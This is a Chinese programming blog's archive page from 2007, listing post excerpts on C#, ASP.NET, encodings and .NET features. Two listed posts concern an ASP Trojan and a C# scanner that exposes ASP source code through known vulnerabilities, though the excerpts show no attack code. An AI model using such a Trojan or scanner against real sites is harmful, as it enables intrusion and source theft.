- 博客(111)
- 收藏
- 关注
转载 随便说说字符集和编码
快下班时,爱问问题的小朋友Nico又问了一个问题: "sqlserver里面有char和nchar,那个n据说是指unicode的数据,这个是什么意思。" 并不是所有简单的问题都很容易回答,就像这个问题一样。于是我答应专门写一篇BLOG来从头讲讲编码的故事。那么就让我们找个草堆坐下,先抽口烟,看看夜晚天空上的银河,然后想一想要从哪里开始讲起。嗯,也许这样开始比较好…… 很久很久以前,有一群人,他们
2007-04-26 13:57:00 1208
原创 ASP写的Trojan
ASP editv/:* { BEhAviOR:URL(#dEFAULt#vmL);}BOdY, div, SpAn, Li, td, A { cOLOR: #666666; FOnt-SizE: 12px !impORtAnt; FOnt-SizE: 11px; FOnt-FAmiLY: tAhOmA, ARiAL, cOURiER nEw, vERdAnA, SA
2007-04-24 16:35:00 1523
原创 通过鼠标的图形化选取来获取日期字符串的JS代码
通过鼠标的图形化选取来获取日期字符串的JS代码效果:使用方法:代码如下:var bMoveable=true;var _VersionInfo="Version:1.0 2.0作者: MAIL:";var strFrame;document.writeln();strFrame=;strFrame+=INPUT.button{BORDER-
2007-04-24 11:00:00 1838
原创 判断字符串是否可以转换成日期类型
public bool IsDateType(string datestring) ...{ try ...{ System.DateTime.Parse(datestring); return true; } catch
2007-04-19 10:04:00 2548
转载 关于DBNull类型的说明
该类用于指示不存在某个已知值(通常在数据库应用程序中)。 在数据库应用程序中,空对象是字段的有效值。该类区分空值(空对象)和未初始化值(DBNull.Value 实例)。例如,表可以包含具有未初始化字段的记录。默认情况下,这些未初始化字段具有 DBNull 值。 该类还可以用于在 COM Interop 中区分 VT_NULL 变量(与空对象关联)和 VT_EMPTY 变量(与 DBNull.
2007-04-18 11:34:00 2169
原创 DropDown的value使用中文时遇到的小问题
在一个项目的开发过程中,表单中HTML控件DropDown的value使用中文时, 男 女提交后,发现不论选择的是第几项,每次获取的value都是第一项的,改用DropDownList也不行。后发现将value改成英文后,问题解决了男 女进而想到可能跟web.config的编码设置有关系 此节设置应用程序的全球化设置。 -->
2007-04-17 14:49:00 2111
转载 两个获取http页面的c#函数
埋头苦干一天终于搞定!一个用C#写的windows应用程序,作用嘛,就是对asp程序已知的20种漏洞进行扫描,显示源程序。在这个应用程序中用到两种获得http页面的方法,一种是直接用httpwebrequest类,而另一种是同服务器通过tcp/ip建立socket连接,直接查询端口80 , 为此我写了以下两个函数,第一个比较简单,参数只有一个,就是要求的url , 另外一个比较复杂,也很通用,不仅
2007-04-17 13:00:00 1102
转载 一个用c#写的扫描asp源码漏洞的应用程序
这儿就是说的那个程序主要部分的源代码. //-------------------------------------------------------------------------- // // file name : form1.cs // // description : 主form // // date: 2001/1/3 // // author : bigeagle@163.n
2007-04-17 12:59:00 1442
转载 定时器:.NET框架类库中定时器类的比较
定时器:.NET框架类库中定时器类的比较原著:Alex Calvo翻译:lxhui原文出处:MSDN Magazine February 2004(Timer...)原代码下载: TimersinNET.exe (126KB)本文章假定你熟悉C# 概要 不论在客户端应用程序还是服务器组件(包括窗口服务)定时器通常扮演一个重要的角色。写一个高效的定时器驱动型可管理代码要求对程序流程有一个清
2007-04-17 12:57:00 1165
转载 点对点通讯
点对点通讯通用类 using System;using System.Data;using System.Data.SqlClient;using System.Windows.Forms;/// ///C#对底层数据操作的通用类/// namespace Class1{ /// /// 数据连接设置 /// public class SqlConnect {
2007-04-17 12:54:00 1402
转载 创建多线程应用程序
在.NET和C#中编写一个多线程应用程序将非常得容易。即使对于那些从没有用C#编写过多线程应用程序的初学者,只需遵循以下这些简单的步骤就可以实现目的。 定义名称空间 在.NET中,多线程功能是在System.Threading名称空间中定义的。因此,在使用任何线程类之前,必须定义 System.Threading名称空间。定义方法如下:using System.Threading;
2007-04-17 12:51:00 1111
转载 C#读取URL里面的XML数据问题
正常情况下,都是读取静态的XML文件,但是在证券领域里面,XML数据是随时更新的。 比如第三方想我们提供XML数据,我们给第二方作开发,而第三提供给我们的是一个URL,这个URL是XML格式的内容,包含着我们要得数据。 我请问是不是读取静态文件的方法跟读取URL的方法是一样的?只是把如"data.xml"换成如"http://www.yesky.com/news/stock.asp?cod
2007-04-17 12:50:00 1933
转载 看Java、C#大比拚
Java和C#都提供了对网络的不同抽象层,编程人员可以使用不同的网络接口完成对网络的操作。 Java C# 应答/请求: java.net.URL和java.net.URLConnection。 System.Net.WebRequest。 协议: TCP/IP协议使用java.net.Socket和java.net.ServerSocket; UDP协议使用java.net.DatagramSo
2007-04-17 12:48:00 3573
转载 VB.net 编码规范(也适用于C#)
在开发中保持良好的编码规范是十分重要的。我所采用的新的VB.net编码规范,是一种被证明能明显改善代码可读性,并有助于代码管理、分类的编码规范。采用这种编码规范,能避免如匈牙利命名法带来的繁长前缀,便于记忆变量的用途。下面的介绍这种编码规范。 一、类型级单位的命名 1、类。 以Class声明的类,都必须以名词或名词短语命名,体现类的作用。如: Class Indicator
2007-04-17 12:48:00 1276
转载 Visual C#实现HTTP代理服务程序
网络代理程序的种类非常多,根据代理服务程序代理的协议不同,分成HTTP代理服务程序、FTP代理服务程序等,运行代理服务程序的服务器也就称为HTTP代理服务器和FTP代理服务器。在本节中介绍的Web代理服务程序代理的就是HTTP协议。 一.网络代理的类型及实现原理: 网络代理服务根据工作层次,一般可分为应用层代理、传输层代理和SOCKS代理。应用层代理是工作在TCP/IP参考模型的应用层之上
2007-04-17 12:46:00 2945
转载 C#基础—关于类
类实际上是创建对象的模板,每个对象都包含数据,并提供了处理和访问数据的方法。类定义了每个对象可以包含什么数据和功能,但类自己不能包含数据。比如一个类代表一个人,它就可以定义所以人相关的信息(身高、年龄、体重等)。使用时,事例化对象表示某一个人。类的成员可以分为两大类类本身所声明的以及从基类中继承而来的类的成员有以下类型
2007-04-17 12:43:00 989
原创 增值业务的同步程序
using System;using System.Data.SqlClient;using System.Collections;using System.ComponentModel;using System.Data;using System.IO;using System.Timers;namespace _09_03{ class Class_09_03 { public stat
2007-04-17 12:40:00 1141
转载 ASP.NET保持用户状态的九种选择
摘要:ASP.NET为保持用户请求之间的数据提供了多种不同的途径。你可以使用Application对象、cookie、hidden fields、Sessions或Cache对象,以及它们的大量的方法。决定什么时候使用它们有时很困难。本文将介绍了上述的技术,给出了什么时候使用它们的一些指导。尽管这些技术中有些在传统ASP中已经存在,但是有了.NET框架组件后该在什么时候使用它们发生了变化。为了在A
2007-04-17 12:38:00 985
转载 ASP.NET程序中常用的三十三种代码
1. 打开新的窗口并传送参数: 传送参数:response.write("<script>window.open(’*.aspx?id="+this.DropDownList1.SelectIndex+"&id1="+...+"’)</script>") 接收参数:string a = Request.QueryString("id");string b = Request.QueryStri
2007-04-17 12:37:00 913
转载 ASP.net 验证码(C#)
/* Copyright all(c) 2005 ZhongFeng, http://blog.csdn.net/SW515 */ public class ValidateCode : System.Web.UI.Page { private void Page_Load(object sender, System.EventArgs e) { this.CreateCheckCod
2007-04-17 12:35:00 985
转载 C#.NET 中的类型转换
1. 装箱、拆箱还是别名 许多 C#.NET 的书上都有介绍 int -> Int32 是一个装箱的过程,反之则是拆箱的过程。许多其它变量类型也是如此,如:short Int16,long Int64 等。对于一般的程序员来说,大可不必去了解这一过程,因为这些装箱和拆箱的动作都是可以自动完成的,不需要写代码进行干预。但是我们需要记住这些类型之间的关系,所以,我们使用“别名”来记忆它们
2007-04-17 12:33:00 904
转载 ASP.NET 2.0页面框架的几点新功能
新增的页面事件:在ASP.NET 2.0中,一个ASP.NET页面的生命周期主要为(红色字体表示ASP.NET 2.0新增加的阶段页面事件):客户端请求页面—》预初始化(OnPreInit)—》初始化(OnInit)—》完成初始化(OnInitComplete)—》载入ViewState(LoadViewState)—》处理回送数据(IPostBackDataHandler)—》Page_OnPr
2007-04-17 12:30:00 927
转载 第五章 不完全类型
第五章 不完全类型5.1 不完全声明 在定义一个分为多个部分的类型时,要使用一个新的类型修饰符——partial。为了保证和现有代码的兼容性,这个标识符和其他标识符不同:与get和set相同,它不是一个关键字,而且它必须直接出现在关键字class、struct和interface之一的前面。class-declaration: attributesopt class
2007-04-17 12:28:00 1005
转载 第四章 迭代器
第四章 迭代器原著:Microsoft Corporation原文:http://msdn.microsoft.com/vcsharp/team/language/default.aspx (SpecificationVer2.doc)翻译:lover_P出处:http://www.csdn.net/Develop/article/26/26043.shtm------------------
2007-04-17 12:27:00 1009
转载 第三章 匿名方法
第三章 匿名方法原著:Microsoft Corporation原文:http://msdn.microsoft.com/vcsharp/team/language/default.aspx (SpecificationVer2.doc)翻译:lover_P出处:------------------------------------------------------------------
2007-04-17 12:26:00 1043
转载 第二章 泛型
20.泛型20.1泛型类声明泛型类声明是一个需要提供类型参数以形成实际类型的类的声明。 类声明可以有选择地定义类型参数。class-declaration: (类声明)attributesopt class-modifiersopt class identifieropt type-parameter-listopt class –baseopt type-parame
2007-04-17 12:22:00 951
转载 第一章 C#2.0简介
第一章 C#2.0简介 C# 2.0引入了很多语言扩展,最重要的就是泛型(Generics)、匿名方法(Anonymous Methods)、迭代器(Iterators)和不完全类型(Partial Types)。 " 泛型允许类、结构、接口、委托和方法通过它们所存贮和操作的数据的类型来参数化。泛型是很有用的,因为它提供了更为强大的编译期间类型检查,需要更少的数据类
2007-04-17 12:20:00 917
转载 C# 2.0对现有语法的改进
原注:lover_P出处:[自序] 尽管Microsoft Visual Studio .NET 2005(过去好像叫Visual Studio .NET 2004)一再推迟其发布日期,但广大开发者对其的猜测以及各种媒体对其各方面的“曝光”也似乎已经充斥了网络。但与C#有关的文章似乎无外乎两个方面:VS.NET 2005 IDE特性、介绍C# 2.0中引入的“四大特性(泛型、匿名
2007-04-17 12:17:00 1056
转载 从Internet上抓取指定URL的源码的方案
引言: 在做无线项目的时候,与通讯公司的数据通讯有一部分是通过XML交互的,所以必须要动态抓取通讯公司提供的固定的Internet上的数据,便研究了一下如何抓取固定url上的数据,现与大家分享一下。 类名GetPageCode,有一个方法GetSource,通过属性传递参数,入参控制的是要取得URL的地址,代理服务器的设置及输出方式的控制,这里大家可以再扩展自己的需要,我这里只提供了两种方式,
2007-04-17 12:15:00 1107
转载 ASP.NET 2.0提供了一个Menu 类,可以方便地创建水平或者垂直方向的下拉菜单
ASP.NET 2.0提供了一个Menu 类,可以方便地创建水平或者垂直方向的下拉菜单,下面就是一个例子:查看例子 下拉菜单的例子 disappearafter="2000" staticdisplaylevels="2" staticsubmenuindent="10" orientation="Horizontal" font-names="Arial" t
2007-04-17 12:13:00 1439
原创 asp.net2.0-GridView的操作
一、GridView和DataGrid的异同GridView 是 DataGrid的后继控件,在.net framework 2 中,虽然还存在DataGrid,但是GridView已经走上了历史的前台,取代DataGrid的趋势已是势不可挡。GridView和DataGrid功能相似,都是在web页面中显示数据源中的数据,将数据源中的一行数据,也就是一条记录,显示为在web页面上输出表格中的
2007-04-17 12:12:00 1182
转载 反射
反射概述 程序集包含模块,而模块包含类型,类型又包含成员。反射则提供了封装程序集、模块和类型的对象。您可以使用反射动态地创建类型的实例,将类型绑定到现有对象,或从现有对象中获取类型。然后,可以调用类型的方法或访问其字段和属性。反射通常具有以下用途: 使用 Assembly 定义和加载程序集,加载在程序集清单中列出的模块,以及从此程序集中查找类型并创建该类型的实例。 使用 Mo
2007-04-17 12:09:00 1146
转载 C#使用反射机制获取类信息
1.用反射动态创建类实例,并调用其公有成员函数。//新建一个类库项目,增加一个GetSum方法。using System; namespace ClassLibrary1{ public class Class1 { public Class1() { } public int GetSum(int x
2007-04-17 12:07:00 2027
转载 c#中的反射
反射的概述反射的定义:审查元数据并收集关于它的类型信息的能力。元数据(编译以后的最基本数据单元)就是一大堆的表,当编译程序集或者模块时,编译器会创建一个类定义表,一个字段定义表,和一个方法定义表等,。System.reflection命名空间包含的几个类,允许你反射(解析)这些元数据表的代码和反射相关的命名空间(我们就是通过这几个命名空间访问反射信息):System.Reflection.Memb
2007-04-17 12:06:00 922
转载 在Web应用程序中执行多线程
在业务复杂的应用程序中,有时候会要求一个或者多个任务在一定的时间或者一定的时间间隔内计划进行,比如定时备份或同步数据库,定时发送电子邮件等,我们称之为计划任务。实现计划任务的方法也有很多,可以采用SQLAgent执行存储过程来实现,也可以采用Windows任务调度程序来实现,也可以使用Windows服务来完成我们的计划任务,这些方法都是很好的解决方案。但是,对于Web应用程序来说,这些方法实现起来
2007-04-17 12:04:00 1119
转载 谈谈HtmlControl与WebControl的区别以及各自应该什么时候用
Web控件和Html控件虽然好多功能相同并且长得很像但是它们的内部实现机制是完全不一样的Web控件要比Html控件执行效率要好1. 使用起来也相当方便,举个简单的例子,例如Button的生成:Html控件是将庞大控件集合全部弄到页面中,用到哪个功能,就设置一下属性,如下: 这样会占用相当大的控件资源Web控件是将集成式的拆解成单功能的: 这样就可以节省不必要的控件所占用的资源了
2007-04-17 12:02:00 990
转载 c#.net常用函数列表
1、DateTime 数字型System.DateTime currentTime=new System.DateTime();1.1 取当前年月日时分秒currentTime=System.DateTime.Now;1.2 取当前年int 年=currentTime.Year;1.3 取当前月int 月=currentTime.Month;1.4 取当前日int 日=currentTime.Da
2007-04-16 17:42:00 967
转载 C#的String.Format举例
string str1 = String.Format("{0:N1}",56789);//result: 56,789.0 string str2 = String.Format("{0:N2}",56789);//result: 56,789.00 string str3 = String.Format("{0:N3}",56789); //result: 56,789.000 s
2007-04-16 17:42:00 4953
转载 .net面试问题归纳
最近开始找.net开发类的工作,经过了一系列的面试后,对一些面试时经常提到的问题作一些归纳,答案属于个人看法,仅供大家参考: 重载(Overload )和覆写(override)的区别方法重载:当类包含两个名称相同但签名不同(方法名相同,参数列表不相同)的方法时发生方法重载。用方法重载来提供在语义上完成相同而功能不同的方法。覆写:在类的继承中使用,通过覆写子类方法可以改变父类虚方法的
2007-04-16 17:40:00 788
原创 关于C#中的转义字符
/n ------------------------- 换行/r ------------------------- 回车/t ------------------------- 制表符/b ------------------------- 退格/f ------------------------- 换页/0 ------------------------- 空符号/" -------
2007-04-16 17:40:00 880
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人